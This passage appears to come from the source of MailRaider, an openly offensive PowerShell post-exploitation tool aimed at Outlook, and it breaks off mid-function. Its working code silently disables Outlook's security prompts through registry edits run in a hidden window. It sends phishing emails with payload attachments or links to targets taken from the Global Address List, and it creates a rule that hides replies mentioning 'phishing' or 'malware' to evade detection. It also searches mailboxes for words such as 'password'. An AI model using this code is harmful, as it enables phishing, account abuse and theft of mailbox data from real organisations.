[Parameter(Mandatory = $False)] 1043 | [string]$AdminUser, 1044 | 1045 | [Parameter(Mandatory = $False)] 1046 | [string]$AdminPassword, 1047 | 1048 | [parameter(Mandatory = $True)] 1049 | [string]$Version 1050 | ) 1051 | 1052 | $count = 0 1053 | 1054 | #Check AV to see if it's up to date. 1055 | $AV = Get-WmiObject -namespace root\SecurityCenter2 -class Antivirusproduct 1056 | if($AV){ 1057 | $AVstate = $AV.productState 1058 | $statuscode = '{0:X6}' -f $AVstate 1059 | $wscupdated = $statuscode[4,5] -join '' -as [byte] 1060 | if($wscupdated -eq (00 -as [byte])) 1061 | { 1062 | Write-Verbose "AV is up to date" 1063 | $AVUpdated = $True 1064 | } 1065 | elseif($wscupdated -eq (10 -as [byte])){ 1066 | Write-Verbose "AV is not up to date" 1067 | $AVUpdated = $False 1068 | } 1069 | else{ 1070 | Write-Verbose "Unable to determine AV status" 1071 | $AVUpdated = $False 1072 | } 1073 | } 1074 | else{ 1075 | Write-Verbose "AV not installed" 1076 | $AVUpdated = $False 1077 | } 1078 | 1079 | 1080 | $LMSecurityKey = "HKLM:\SOFTWARE\Microsoft\Office\$Version\outlook\Security" 1081 | 1082 | $CUSecurityKey = "HKCU:\SOFTWARE\Policies\Microsoft\Office\$Version\outlook\security" 1083 | 1084 | $ObjectModelGuard = "ObjectModelGuard" 1085 | $PromptOOMSend = "PromptOOMSend" 1086 | $AdminSecurityMode = "AdminSecurityMode" 1087 | 1088 | $cmd = " " 1089 | 1090 | if(!(Test-Path $LMSecurityKey)){ 1091 | #if the key does not exists, create or update the appropriate reg keys values. 1092 | $cmd = "New-Item $LMSecurityKey -Force; " 1093 | $cmd += "New-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -PropertyType DWORD -Force; " 1094 | 1095 | 1096 | } 1097 | else{ 1098 | 1099 | $currentValue = (Get-ItemProperty $LMSecurityKey -Name ObjectModelGuard -ErrorAction SilentlyContinue).ObjectModelGuard 1100 | if($currentValue -and ($currentValue -ne 2)){ 1101 | 1102 | $cmd = "Set-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -Force; " 1103 | } 1104 | elseif(!($currentValue)) { 1105 | $cmd = "New-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -PropertyType DWORD -Force; " 1106 | } 1107 | 1108 | 1109 | } 1110 | if(!(Test-Path $CUSecurityKey)){ 1111 | 1112 | $cmd += "New-Item $CUSecurityKey -Force; " 1113 | $cmd += "New-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -PropertyType DWORD -Force; " 1114 | $cmd += "New-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -PropertyType DWORD -Force; " 1115 | 1116 | } 1117 | else{ 1118 | $currentValue = (Get-ItemProperty $CUSecurityKey -Name PromptOOMSend -ErrorAction SilentlyContinue).PromptOOMSend 1119 | if($currentValue -and ($currentValue -ne 2)){ 1120 | 1121 | $cmd += "Set-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -Force; " 1122 | 1123 | } 1124 | elseif(!($currentValue)) { 1125 | $cmd += "New-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -PropertyType DWORD -Force; " 1126 | } 1127 | 1128 | $currentValue = (Get-ItemProperty $CUSecurityKey -Name AdminSecurityMode -ErrorAction SilentlyContinue).AdminSecurityMode 1129 | if($currentValue -and ($currentValue -ne 3)){ 1130 | 1131 | $cmd += "Set-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -Force" 1132 | 1133 | } 1134 | elseif(!($currentValue)) { 1135 | $cmd += "New-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -PropertyType DWORD -Force" 1136 | } 1137 | 1138 | } 1139 | 1140 | if($AdminUser -and $AdminPassword){ 1141 | 1142 | #If creds are given start a new powershell process and run the commands. Unable to use the Credential parameter with 1143 | $pw = ConvertTo-SecureString $AdminPassword -asplaintext -Force 1144 | $creds = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $AdminUser,$pw 1145 | $WD = 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\' 1146 | $Arg = " -WindowStyle hidden -Command $cmd" 1147 | Start-Process "powershell.exe" -WorkingDirectory $WD -Credential $creds -ArgumentList $Arg 1148 | $count += 1 1149 | 1150 | 1151 | } 1152 | else{ 1153 | 1154 | #Start-Process powershell.exe -WindowStyle hidden -ArgumentList $cmd 1155 | if($cmd){ 1156 | try { 1157 | Invoke-Expression $cmd 1158 | } 1159 | catch { 1160 | Throw "Unable to change registry settings to disable security prompt" 1161 | } 1162 | } 1163 | $count += 1 1164 | 1165 | } 1166 | 1167 | 1168 | if($count -eq 1){ 1169 | Write-Verbose "Success" 1170 | } 1171 | elseif($count -eq 0){ 1172 | Write-Verbose "Disable-SecuritySettings Failed" 1173 | } 1174 | 1175 | } 1176 | 1177 | #Under-Construction 1178 | Function Reset-SecuritySettings{ 1179 | <# 1180 | 1181 | .SYNOPSIS 1182 | This function resets all of the registry keys to their original state 1183 | 1184 | .PARAMETER AdminUser 1185 | Administrative user 1186 | 1187 | .PARAMETER AdminPass 1188 | Password of administrative user 1189 | 1190 | .EXAMPLE 1191 | Reset-SecuritySettings 1192 | 1193 | #> 1194 | 1195 | [CmdletBinding()] 1196 | param( 1197 | [Parameter(Mandatory = $False)] 1198 | [string]$AdminUser, 1199 | 1200 | [Parameter(Mandatory = $False)] 1201 | [string]$AdminPass, 1202 | 1203 | [Parameter(Mandatory = $True)] 1204 | [string]$Version 1205 | ) 1206 | 1207 | 1208 | $LMSecurityKey = "HKLM:\SOFTWARE\Microsoft\Office\$Version\Outlook\Security" 1209 | 1210 | $CUSecurityKey = "HKCU:\SOFTWARE\Policies\Microsoft\Office\$Version\outlook\security" 1211 | 1212 | 1213 | 1214 | #if the old value exists, that means the registry key was set and not created. 1215 | if(Test-Path $LMSecurityKey){ 1216 | #If the key exists, remove it. 1217 | $cmd = "Remove-ItemProperty -Path $LMSecurityKey -Name ObjectModelGuard -Force;" 1218 | } 1219 | 1220 | if(Test-Path $CUSecurityKey){ 1221 | 1222 | $cmd += "Remove-ItemProperty -Path $CUSecurityKey -Name PromptOOMSend -Force;" 1223 | $cmd += "Remove-ItemProperty -Path $CUSecurityKey -Name AdminSecurityMode -Force" 1224 | 1225 | } 1226 | 1227 | if($AdminUser -and $AdminPass){ 1228 | 1229 | $pw = ConvertTo-SecureString $AdminPass -asplaintext -Force 1230 | $creds = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $AdminUser,$pw 1231 | $WD = 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\' 1232 | $Arg = " -WindowStyle hidden -Command $cmd" 1233 | Start-Process powershell.exe -WorkingDirectory $WD -Credential $creds -ArgumentList $Arg 1234 | } 1235 | else { 1236 | try { 1237 | Invoke-Expression $cmd 1238 | } 1239 | catch { 1240 | Throw "Unable to reset registry keys" 1241 | } 1242 | } 1243 | 1244 | } 1245 | 1246 | 1247 | Function Get-OutlookInstance{ 1248 | <# 1249 | .SYNOPSIS 1250 | Get an instance of Outlook. This function must be executed in the same user context of the Outlook application. 1251 | 1252 | .EXAMPLE 1253 | Get-OutlookInstance 1254 | 1255 | Get an instance of Outlook 1256 | 1257 | #> 1258 | try { 1259 | $Outlook = New-Object -ComObject "Outlook.Application" 1260 | } 1261 | catch { 1262 | Throw "Unable to open Outlook ComObject" 1263 | } 1264 | 1265 | 1266 | $Outlook 1267 | 1268 | 1269 | } 1270 | 1271 | -------------------------------------------------------------------------------- /MailRaider.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2 2 | 3 | <# 4 | 5 | 6 | MailRaider v0.1 7 | 8 | by @xorrior 9 | 10 | #> 11 | 12 | Function Invoke-SendMail { 13 | <# 14 | .SYNOPSIS 15 | This function sends emails using a custom or default template to specified target email addresses. 16 | 17 | .DESCRIPTION 18 | This function sends a specified number of phishing emails to a specific email address or a target list. A payload or URL can be included in the email. The E-Mail will be constructed based on a 19 | template or by specifying the Subject and Body of the email. 20 | 21 | .PARAMETER Targets 22 | Array of target email addresses. If Targets or TargetList parameter are not specified, a list of 100 email addresses will be randomly selected from the Global Address List. 23 | 24 | .PARAMETER TargetList 25 | List of email addresses read from a file. If Targets or TargetList parameter are not specified, a list of 100 email addresses will be randomly selected from the Global Address List. 26 | 27 | .PARAMETER URL 28 | URL to include in the email 29 | 30 | .PARAMETER Attachment 31 | Full path to the file to use as a payload 32 | 33 | .PARAMETER Template 34 | Full path to the template html file 35 | 36 | .PARAMETER Subject 37 | Subject of the email 38 | 39 | .PARAMETER Body 40 | Body of the email 41 | 42 | .EXAMPLE 43 | 44 | Invoke-SendMail -Targets $Emails -URL "http://bigorg.com/projections.xls" -Subject "Hi" -Body "Please check this link out!" 45 | 46 | Send phishing email to the array of target email addresses with an embedded url. 47 | 48 | .EXAMPLE 49 | 50 | Invoke-SendMail -TargetList .\Targets.txt -Attachment .\Notice.rtf -Template .\Phish.html 51 | 52 | Send phishing email to the list of addresses from file and include the specified attachment. 53 | 54 | #> 55 | 56 | [CmdletBinding()] 57 | param( 58 | [Parameter(Mandatory = $False, Position = 0, ValueFromPipeline = $True)] 59 | [string[]]$Targets, 60 | 61 | [Parameter(Mandatory = $False, Position = 1)] 62 | [string]$TargetList, 63 | 64 | [Parameter(Mandatory = $False, Position = 2)] 65 | [string]$URL, 66 | 67 | [Parameter(Mandatory = $False, Position = 3)] 68 | [string]$Attachment, 69 | 70 | [Parameter(Mandatory = $False, Position = 4)] 71 | [String]$Template, 72 | 73 | [Parameter(Mandatory = $False, Position = 5)] 74 | [string]$Subject, 75 | 76 | [Parameter(Mandatory = $False, Position = 6)] 77 | [String]$Body 78 | 79 | ) 80 | 81 | 82 | 83 | #check for a target list file or the targets parameter 84 | if($TargetList){ 85 | if(!(Test-Path $TargetList)){ 86 | Throw "Not a valid file path for E-Mail TargetList" 87 | } 88 | $TargetEmails = Get-Content $TargetList 89 | } 90 | elseif($Targets){ 91 | $TargetEmails = $Targets 92 | } 93 | 94 | #check if a template is being used 95 | if($Template){ 96 | if(!(Test-Path $Template)){ 97 | Throw "Not a valid file path for E-mail template" 98 | } 99 | $EmailBody = Get-Content -Path $Template 100 | $EmailSubject = $Subject 101 | } 102 | elseif($Subject -and $Body){ 103 | $EmailSubject = $Subject 104 | $EmailBody = $Body 105 | } 106 | else { 107 | Throw "No email Subject and/or Body specified" 108 | } 109 | 110 | #Check for a url to embed 111 | if($URL){ 112 | $EmailBody = $EmailBody.Replace("URL",$URL) 113 | } 114 | 115 | #Read the Outlook signature locally if available 116 | $appdatapath = $env:appdata 117 | $sigpath = $appdatapath + "\Microsoft\Signatures\*.htm" 118 | 119 | if(Test-Path $sigpath){ 120 | $Signature = Get-Content -Path $sigpath 121 | } 122 | 123 | 124 | 125 | #Create Outlook rule to automatically sends emails pertaining to phishing emails to deleted items folder 126 | Invoke-Rule -Subject $Subject -RuleName "RaiderIn" 127 | 128 | #Iterate through the list, craft the emails, and then send it off. 129 | ForEach($Target in $TargetEmails){ 130 | 131 | $Outlook = Get-OutlookInstance 132 | $Email = $Outlook.CreateItem(0) 133 | #If there was an attachment, include it with the email 134 | if($Attachment){ 135 | $($Email.Attachment).Add($Attachment) 136 | } 137 | $Email.HTMLBody = "$EmailBody" 138 | $Email.Subject = $EmailSubject 139 | $Email.To = $Target 140 | 141 | #if there is a signature, add it to the email 142 | if($Signature){ 143 | $Email.HTMLBody += "`n`n" + "$Signature" 144 | } 145 | $Email.Send() 146 | Write-Verbose "Sent Email to $Target" 147 | 148 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null 149 | } 150 | 151 | 152 | 153 | } 154 | 155 | 156 | Function Invoke-Rule { 157 | 158 | <# 159 | .SYNOPSIS 160 | This function enables an Outlook rule where all received mail items, that match the specified subject flags, will be sent to the deleted items folder 161 | 162 | .DESCRIPTION 163 | This function takes the subject string and other flagged words and applies them to a received items Outlook rule. Any items that match this rule will be 164 | sent to the deleted items folder. This allows for the account to be used in phishing for a longer period of time without detection. 165 | 166 | .PARAMETER Subject 167 | The subject string to use in the rule 168 | 169 | .LINK 170 | 171 | https://social.technet.microsoft.com/forums/windowsserver/en-US/6b25cbd2-2bff-4820-ab53-796e306066eb/defining-custom-outlook-rules-using-powershell 172 | #> 173 | 174 | [CmdletBinding()] 175 | param( 176 | [Parameter(Mandatory = $False, Position = 0)] 177 | [string]$Subject, 178 | 179 | [Parameter(Mandatory = $False, Position = 1)] 180 | [string]$RuleName, 181 | 182 | [Parameter(Mandatory = $False, Position = 2)] 183 | [System.__ComObject]$Outlook, 184 | 185 | [Parameter(Mandatory = $False)] 186 | [switch]$Disable 187 | ) 188 | 189 | $flags = @() 190 | $flags = $Subject.Split(" ") 191 | $flags += "hacked" 192 | $flags += "malware" 193 | $flags += "phishing" 194 | $flags += "virus" 195 | 196 | If(!($Outlook)){ 197 | 198 | $Outlook = Get-OutlookInstance 199 | $MAPI = $Outlook.GetNamespace('MAPI') 200 | 201 | } 202 | 203 | if($Disable){ 204 | $rule = ($($Outlook.session).DefaultStore).GetRules() | Where-Object {$_.Name -eq $RuleName} 205 | $rule.enabled = $False 206 | } 207 | else{ 208 | 209 | #Check if the Rule has already been created 210 | $rule = ($($Outlook.session).DefaultStore).GetRules() | Where-Object {(!(Compare-Object $($_.Conditions.Subject).Text $flags))} 211 | if(!($rule)){ 212 | #Load the assembly for Outlook objects 213 | Add-Type -AssemblyName Microsoft.Office.Interop.Outlook | Out-Null 214 | #$MAPI = $Outlook.GetNamespace('MAPI') 215 | $inbox = Get-OutlookFolder -Name "Inbox" 216 | $DeletedFolder = Get-OutlookFolder -Name "DeletedItems" 217 | #Retrieve all Outlook rules 218 | $rules = $MAPI.DefaultStore.GetRules() 219 | $rule = $rules.create($RuleName, [Microsoft.Office.Interop.Outlook.OlRuleType]::OlRuleReceive) 220 | 221 | $SubText = $rule.Conditions.Subject 222 | $SubText.Enabled = $true 223 | #Set the matching strings in the email subject to our flags array 224 | $SubText.Text = $flags 225 | $action = $rule.Actions.MoveToFolder 226 | $action.enabled = $true 227 | [Microsoft.Office.Interop.Outlook._MoveOrCopyRuleAction].InvokeMember( 228 | "Folder", 229 | [System.Reflection.BindingFlags]::SetProperty, 230 | $null, 231 | $action, 232 | $DeletedFolder) 233 | #Save and enable the rule 234 | try { 235 | $rules.Save() 236 | Write-Verbose "Saved Outlook Rule with name: $Rulename" 237 | } 238 | catch { 239 | Write-Warning "Unable to save inbound rule with name: $RuleName" 240 | } 241 | } 242 | 243 | } 244 | 245 | 246 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null 247 | 248 | 249 | } 250 | 251 | Function Get-OSVersion { 252 | 253 | <# 254 | .SYNOPSIS 255 | Determines the Operating System version of the host 256 | 257 | .Example 258 | Check-OSVersion 259 | 260 | #> 261 | 262 | #Function to grab the major and minor verions to determine the OS. 263 | Write-Verbose "Detecting OS..." 264 | $OS = [environment]::OSVersion.Version 265 | 266 | 267 | if($OS.Major -eq 10){ 268 | $OSVersion = "Windows 10" 269 | } 270 | 271 | #if the major version is 6, the OS can be from Vista to Windows 8.1 272 | if($OS.Major -eq 6){ 273 | switch ($OS.Minor){ 274 | 3 {$OSVersion = "Windows 8.1/Server 2012 R2"} 275 | 2 {$OSVersion = "Windows 8/Server 2012"} 276 | 1 {$OSVersion = "Windows 7/Server 2008 R2"} 277 | 0 {$OSVersion = "Windows Vista/Server 2008"} 278 | } 279 | } 280 | if($OS.Major -eq 5){ 281 | switch ($OS.Minor){ 282 | 2 {$OSVersion = "Windows XP/Server 2003 R2"} 283 | 1 {$OSVersion = "Windows XP"} 284 | 0 {$OSVersion = "Windows 2000"} 285 | 286 | } 287 | } 288 | 289 | Write-Verbose "Checking the bitness of the OS" 290 | if((Get-WmiObject -class win32_operatingsystem).OSArchitecture -eq "64-bit"){ 291 | $OSArch = 64 292 | } 293 | else{ 294 | $OSArch = 32 295 | } 296 | $OSVersion 297 | $OSArch 298 | } 299 | 300 | Function Select-EmailItem{ 301 | <# 302 | .SYNOPSIS 303 | This function selects an Email Item according to an index and displays it 304 | 305 | .PARAMETER Index 306 | The index of the Email item to display. Defaults to 0. 307 | 308 | .EXAMPLE 309 | 310 | Select-EmailItem -Index 5 311 | 312 | Display Email Item 5 in the current folder. 313 | 314 | #> 315 | 316 | [CmdletBinding()] 317 | param( 318 | [Parameter(Mandatory = $False, ValueFromPipeline = $True)] 319 | [System.__ComObject]$FolderObj, 320 | 321 | [Parameter(Mandatory = $True)] 322 | [int]$Num 323 | ) 324 | 325 | $EmailItem = $FolderObj.Items | Select-Object -Index $Num 326 | 327 | $EmailItem | Select-Object To,SenderName,SenderEmailAddress,Subject,Body,SentOn,ReceivedTime 328 | 329 | } 330 | 331 | 332 | Function View-Email { 333 | <# 334 | .SYNOPSIS 335 | This function selects the specified folder and then outputs the email item at the specified index 336 | 337 | .PARAMETER FolderName 338 | The Name of the Outlook Default Folder. 339 | 340 | .PARAMETER Index 341 | Index of the Email item within the selected folder to display. The index default is 0. 342 | 343 | .EXAMPLE 344 | 345 | View-Email -FolderName "Inbox" 346 | 347 | Select the olFolderInbox folder and view the first email. 348 | 349 | #> 350 | 351 | [CmdletBinding()] 352 | param( 353 | [Parameter(Mandatory = $True, Position = 0)] 354 | [string]$FolderName, 355 | 356 | [Parameter(Mandatory = $False, Position = 1)] 357 | [int]$Index = 0 358 | ) 359 | 360 | 361 | $OF = Get-OutlookFolder -Name $FolderName 362 | Select-EmailItem -FolderObj $OF -Num $Index 363 | } 364 | 365 | Function Get-OutlookFolder{ 366 | <# 367 | .SYNOPSIS 368 | This functions returns one of the Outlook top-level, default folders 369 | 370 | .PARAMETER Name 371 | Name of the desired folder. Default name is Inbox. 372 | 373 | .EXAMPLE 374 | Get-OutlookFolder -Name "Inbox" 375 | 376 | #> 377 | 378 | [CmdletBinding()] 379 | param( 380 | [Parameter(Mandatory = $True, Position = 0)] 381 | [String]$Name 382 | ) 383 | 384 | $OlDefaultFolders = @{ 385 | "olFolderCalendar" = 9 386 | "olFolderConflicts" = 19 387 | "olFolderContacts" = 10 388 | "olFolderDeletedItems" = 3 389 | "olFolderDrafts" = 16 390 | "olFolderInbox" = 6 391 | "olFolderJournal" = 11 392 | "olFolderJunk" = 23 393 | "olFolderLocalFailures" = 21 394 | "olFolderManageEmail" = 29 395 | "olFolderNotes" = 12 396 | "olFolderOutbox" = 4 397 | "olFolderSentMail" = 5 398 | "olFolderServerFailures" = 22 399 | "olFolderSuggestedContacts" = 30 400 | "olFolderSyncIssues" = 20 401 | "olFolderTasks" = 13 402 | "olFolderToDo" = 28 403 | "olPublicFoldersAllPublicFolders" = 18 404 | "olFolderRssFeeds" = 25 405 | } 406 | 407 | 408 | 409 | $DefaultFolderName = "olFolder$Name" 410 | 411 | $Value = $OlDefaultFolders.Item($DefaultFolderName) 412 | 413 | $Outlook = Get-OutlookInstance 414 | 415 | $MAPI = $Outlook.GetNamespace('MAPI') 416 | 417 | $FolderObj = $MAPI.GetDefaultFolder($Value) 418 | 419 | Write-Verbose "Obtained Folder Object" 420 | 421 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null 422 | 423 | $FolderObj 424 | 425 | } 426 | 427 | Function Get-EmailItems{ 428 | <# 429 | .SYNOPSIS 430 | This function returns all of the items for the specified folder 431 | 432 | .PARAMETER Folder 433 | System.__ComObject for the Top Level folder 434 | 435 | .PARAMETER MaxEmails 436 | Maximum number of emails to grab 437 | 438 | .PARAMETER Full 439 | Return the Full mail item object 440 | 441 | .EXAMPLE 442 | Get-EmailItems -Folder $Inbox 443 | 444 | #> 445 | 446 | [CmdletBinding()] 447 | param( 448 | [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] 449 | [System.__ComObject]$Folder, 450 | 451 | [Parameter(Mandatory = $False, Position = 1)] 452 | [int]$MaxEmails, 453 | 454 | [Parameter(Mandatory = $False)] 455 | [switch]$FullObject 456 | ) 457 | 458 | 459 | if($MaxEmails){ 460 | Write-Verbose "Selecting the first $MaxEmails emails" 461 | $Items = $Folder.Items | Select-Object -First $MaxEmails 462 | } 463 | else{ 464 | Write-Verbose "Selecting all emails" 465 | $Items = $Folder.Items 466 | } 467 | 468 | if(!($FullObject)){ 469 | $Emails = @() 470 | Write-Verbose "Creating custom Email item objects..." 471 | $Items | ForEach { 472 | 473 | $Email = New-Object PSObject -Property @{ 474 | To = $_.To 475 | FromName = $_.SenderName 476 | FromAddress = $_.SenderEmailAddress 477 | Subject = $_.Subject 478 | Body = $_.Body 479 | TimeSent = $_.SentOn 480 | TimeReceived = $_.ReceivedTime 481 | 482 | } 483 | 484 | $Emails += $Email 485 | $Emails = $Emails | Sort-Object -Property TimeSent -Descending 486 | 487 | } 488 | } 489 | else{ 490 | Write-Verbose "Obtained full Email Item objects...." 491 | $Emails = $Items | Sort-Object -Property SentOn -Descending 492 | } 493 | 494 | 495 | $Emails 496 | 497 | 498 | } 499 | 500 | Function Invoke-MailSearch{ 501 | 502 | <# 503 | .SYNOPSIS 504 | This function searches the given Outlook folder for items (Emails, Contacts, Tasks, Notes, etc. *Depending on the folder*) and returns 505 | any matches found. 506 | 507 | .DESCRIPTION 508 | This function searches the given Outlook folder for items containing the specified keywords and returns any matches found. 509 | 510 | .PARAMETER DefaultFolder 511 | Folder to search in. Default is the Inbox. 512 | 513 | .PARAMETER Keywords 514 | Keyword/s to search for. 515 | 516 | .PARAMETER MaxResults 517 | Maximum number of results to return. 518 | 519 | .PARAMETER MaxSearch 520 | Maximum number of emails to search through 521 | 522 | .PARAMETER MaxThreads 523 | Maximum number of threads to use when searching 524 | 525 | .PARAMETER File 526 | Path to results file 527 | 528 | .EXAMPLE 529 | Invoke-MailSearch -Keyword "password" -MaxResults 20 -MaxThreads 30 530 | 531 | Conduct a search on the Inbox with admin and password specified as keywords. Return a maximum of 20 results. 532 | 533 | #> 534 | 535 | [CmdletBinding()] 536 | param( 537 | [Parameter(Mandatory = $True)] 538 | [string]$DefaultFolder, 539 | 540 | [Parameter(Mandatory = $True)] 541 | [string[]]$Keywords, 542 | 543 | [Parameter(Mandatory = $False)] 544 | [int]$MaxResults, 545 | 546 | [Parameter(Mandatory = $True)] 547 | [int]$MaxThreads = 15, 548 | 549 | [Parameter(Mandatory = $False)] 550 | [int]$MaxSearch, 551 | 552 | [Parameter(Mandatory = $False)] 553 | [string]$File 554 | ) 555 | 556 | #Variable to hold the results 557 | $ResultsList = @() 558 | 559 | 560 | $SearchEmailBlock = { 561 | 562 | param($Regex, $MailItem) 563 | $Subject = $MailItem.Subject 564 | $Body = $MailItem.Body 565 | 566 | if(($($Regex.Match($Subject)).Success) -or ($($Regex.Match($Body)).Success)){ 567 | $MailItem 568 | } 569 | } 570 | 571 | 572 | $OF = Get-OutlookFolder -Name $DefaultFolder 573 | 574 | if($MaxSearch){ 575 | $Emails = Get-EmailItems -Folder $OF -FullObject -MaxEmails $MaxSearch 576 | } 577 | else { 578 | $Emails = Get-EmailItems -Folder $OF -FullObject 579 | } 580 | 581 | #Create regex for keywords 582 | if($Keywords.Count -gt 1){ 583 | $count = $Keywords.Count - 2 584 | for($i = 0; $i -lt $count; $i++){ 585 | $Keywords[$i] += "|" 586 | } 587 | 588 | [string]$Keywords = $Keywords -join '' 589 | $Keywords = "\b($Keywords)\b" 590 | 591 | } 592 | else { 593 | $Keywords = "\b($Keywords)\b" 594 | } 595 | 596 | $Regex = [regex]$Keywords 597 | 598 | 599 | Write-Verbose "[*] Searching through $($Emails.count) emails....." 600 | 601 | 602 | #All of this multithreading magic is taken directly from harmj0y and his child, powerview 603 | #https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672 604 | $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() 605 | $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() 606 | 607 | #Get all the current variables for this runspace 608 | $MyVars = Get-Variable -Scope 1 609 | 610 | $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") 611 | 612 | #Add the variables from the current runspace to the new runspace 613 | ForEach($Var in $MyVars){ 614 | if($VorbiddenVars -notcontains $Var.Name){ 615 | $sessionState.Variables.Add((New-Object -Typename System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) 616 | } 617 | } 618 | 619 | 620 | Write-Verbose "Creating RunSpace Pool" 621 | $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) 622 | $pool.Open() 623 | 624 | $jobs = @() 625 | $ps = @() 626 | $wait = @() 627 | 628 | $counter = 0 629 | $MsgCount = 1 630 | 631 | ForEach($Msg in $Emails){ 632 | 633 | Write-Verbose "Searching Email # $MsgCount/$($Emails.count)" 634 | 635 | while ($($pool.GetAvailableRunSpaces()) -le 0){ 636 | 637 | Start-Sleep -Milliseconds 500 638 | 639 | } 640 | 641 | $ps += [powershell]::create() 642 | 643 | $ps[$counter].runspacepool = $pool 644 | 645 | [void]$ps[$counter].AddScript($SearchEmailBlock).AddParameter('Regex', $Regex).AddParameter('MailItem', $Msg) 646 | 647 | $jobs += $ps[$counter].BeginInvoke(); 648 | 649 | $wait += $jobs[$counter].AsyncWaitHandle 650 | 651 | $counter = $counter + 1 652 | $MsgCount = $MsgCount + 1 653 | 654 | } 655 | 656 | $waitTimeout = Get-Date 657 | 658 | while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { 659 | Start-Sleep -Milliseconds 500 660 | } 661 | 662 | for ($x = 0; $x -lt $counter; $x++){ 663 | 664 | try { 665 | 666 | $result = $ps[$x].EndInvoke($jobs[$x]) 667 | if($result){ 668 | $ResultsList += $result 669 | } 670 | 671 | } 672 | catch { 673 | Write-Warning "error: $_" 674 | } 675 | 676 | finally { 677 | 678 | $ps[$x].Dispose() 679 | } 680 | } 681 | 682 | $pool.Dispose() 683 | 684 | 685 | 686 | If($MaxResults){ 687 | $ResultsList = $ResultsList | Select-Object -First $MaxResults 688 | } 689 | 690 | If($File){ 691 | 692 | $ResultsList | Select-Object SenderName,SenderEmailAddress,ReceivedTime,To,Subject,Body | Out-File $File 693 | 694 | } 695 | else { 696 | $ResultsList | Select-Object SenderName,SenderEmailAddress,ReceivedTime,To,Subject,Body 697 | 698 | } 699 | 700 | } 701 | 702 | Function Get-SubFolders{ 703 | <# 704 | .SYNOPSIS 705 | This function returns a list of all the folders in the specified top level folder. 706 | 707 | .PARAMETER DefaultFolder 708 | Name of the top-level folder to retrieve a list of folders from. 709 | 710 | .PARAMETER FullObject 711 | Return the full folder object instead of just the name 712 | 713 | .EXAMPLE 714 | Get-SubFolders -FolderName "SentMail" 715 | 716 | Get a list of folders and sub-folders from the sentmail box. 717 | #> 718 | 719 | 720 | [CmdletBinding()] 721 | param( 722 | [parameter(Mandatory = $False, Position = 0)] 723 | [string]$DefaultFolder, 724 | 725 | [parameter(Mandatory = $False)] 726 | [switch]$FullObject 727 | ) 728 | 729 | $SubFolders = (Get-OutlookFolder -Name $DefaultFolder).Folders 730 | 731 | If(!($SubFolders)){ 732 | Throw "No subfolders were found for folder: $($Folder.Name)" 733 | } 734 | 735 | if(!($FullObject)){ 736 | $SubFolders = $SubFolders | ForEach {$_.Name} 737 | } 738 | 739 | $SubFolders 740 | 741 | } 742 | 743 | Function Get-GlobalAddressList{ 744 | <# 745 | .SYNOPSIS 746 | This function returns an array of Contact objects from a Global Address List object. 747 | 748 | .PARAMETER Outlook 749 | The MAPI namespace object for Outlook 750 | 751 | .EXAMPLE 752 | 753 | Get-GlobalAddressList -MAPI $MAPI 754 | 755 | Return the GAL for the MAPI namespace 756 | 757 | #> 758 | 759 | [CmdletBinding()] 760 | param( 761 | [Parameter(Mandatory = $False)] 762 | [System.__ComObject]$MAPI 763 | ) 764 | 765 | if(!($MAPI)){ 766 | 767 | $Outlook = Get-OutlookInstance 768 | $MAPI = $Outlook.GetNamespace('MAPI') 769 | } 770 | 771 | $GAL = $MAPI.GetGlobalAddressList() 772 | 773 | $GAL = $GAL.AddressEntries 774 | 775 | $GAL 776 | } 777 | 778 | Function Invoke-SearchGAL { 779 | 780 | <# 781 | .SYNOPSIS 782 | This function returns any users that match the exchange criteria specified. 783 | 784 | .DESCRIPTION 785 | This fuction returns any exchange users that match the specified search criteria. Searchable fields are FirstName, LastName, JobTitle, Email-Address, and Department 786 | 787 | .PARAMETER FullName 788 | Full Name to search for 789 | 790 | .PARAMETER JobTitle 791 | Job Title to search for 792 | 793 | .PARAMETER Email 794 | E-Mail Address to search for 795 | 796 | .PARAMETER Dept 797 | Department to search for 798 | 799 | .PARAMETER MaxThreads 800 | The maximum number of threads to use when searching. The default is set to 15. 801 | 802 | .EXAMPLE 803 | 804 | Invoke-SearchGAL -JobTitle "System Administrator" -MaxThreads 30 805 | 806 | Search the GAL with 30 threads, for any Exchange Users with the JobTitle "System Administrator". 807 | 808 | 809 | #> 810 | 811 | [CmdletBinding()] 812 | param( 813 | [Parameter(Mandatory = $True, ParameterSetName = "Name", Position = 0)] 814 | [string]$FullName, 815 | 816 | [Parameter(Mandatory = $True, ParameterSetName = 